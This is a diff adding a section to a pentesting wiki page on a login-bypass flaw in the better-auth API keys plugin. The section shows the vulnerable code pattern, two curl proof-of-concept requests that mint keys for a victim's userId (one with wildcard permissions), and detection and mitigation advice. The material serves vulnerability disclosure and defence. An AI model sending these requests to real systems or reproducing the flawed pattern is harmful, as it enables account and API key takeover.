diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index d6d2ce204b4..005e056dc67 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -97,6 +97,69 @@ Pages usually redirects users after login, check if you can alter that redirect -{{#include ../../banners/hacktricks-training.md}} +## Body-controlled identity (userId in body) → Pre-auth account/key takeover + +A common auth logic flaw in JSON APIs is to derive the authenticated subject from a client-controlled identifier in the request body (e.g., userId), effectively disabling auth when that field is present. Example pattern seen in the wild: + +```ts +const authRequired = (ctx.request || ctx.headers) && !ctx.body.userId; +const user = session?.user ?? (authRequired ? null : { id: ctx.body.userId }); +``` + +Why it’s broken +- In normal requests `(ctx.request || ctx.headers)` is truthy, so providing `userId` makes `authRequired === false`. +- If there is no valid session, the handler fabricates `user = { id: ctx.body.userId }` from attacker input and proceeds as if authenticated. +- Server-only validation/authorization branches are skipped, letting clients set privileged fields. + +Real-world impact (better-auth API keys plugin) +- Affected routes: `/api/auth/api-key/create` and `/api/auth/api-key/update` accepted an attacker-supplied `userId` and skipped auth. +- Attacker could mint or modify API keys for arbitrary users, and set privileged fields like `permissions`, `rateLimitMax`, `refillAmount`, `remaining`. + +Minimal PoC (no session/cookies required) +```bash +curl -X POST http://localhost:3000/api/auth/api-key/create \ + -H 'Content-Type: application/json' \ + -d '{ + "userId": "victim-user-id", + "name": "test" + }' +``` + +Privilege-shaped PoC +```bash +curl -X POST http://localhost:3000/api/auth/api-key/create \ + -H 'Content-Type: application/json' \ + -d '{ + "userId": "victim-user-id", + "name": "ops-key", + "permissions": ["*"], + "rateLimitMax": 1000000, + "refillAmount": 1000000, + "remaining": null + }' +``` + +Hunting tips +- Grep for handlers that build identity from request JSON: `body.userId`, `body.accountId`, `body.username` used to set `req.user`, `ctx.user`, etc. +- Look for ternaries/branches where the existence of a body field disables auth, e.g., `authRequired = ... && !body.userId`. +- Review create/update endpoints for “server-only” fields accepted in unauthenticated paths (permissions, roles, rate limits, quotas, ownership fields). + +Detection/forensics +- Search logs and reverse-proxy telemetry for unauthenticated POSTs to key-management endpoints where bodies contain `userId` and privileged fields. +- Flag responses that include credentials (e.g., returned `key`) without an accompanying valid session cookie/token. +- Correlate suspicious key creations/updates with subsequent API usage from unfamiliar IPs/agents. + +Mitigations +- Never derive identity from client-controlled body fields. Treat `userId` as server-only. +- Require an authenticated server-side session/credential for any key or account management. +- Centralize authorization checks (RBAC/ABAC) and reject privileged fields from unauthenticated contexts. +- If using better-auth, upgrade to >= 1.3.26 and rotate/review keys created during the exposure window. + +## References +- [Critical Account Takeover via Unauthenticated API Key Creation in better-auth (CVE-2025-61928)](https://zeropath.com/blog/breaking-authentication-unauthenticated-api-key-creation-in-better-auth-cve-2025-61928) +- [better-auth NPM Package](https://www.npmjs.com/package/better-auth) +- [GHSA-99h5-pjcv-gr6v advisory](https://github.com/better-auth/better-auth/security/advisories/GHSA-99h5-pjcv-gr6v) +- [API keys plugin introduction PR #1515](https://github.com/better-auth/better-auth/pull/1515) +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file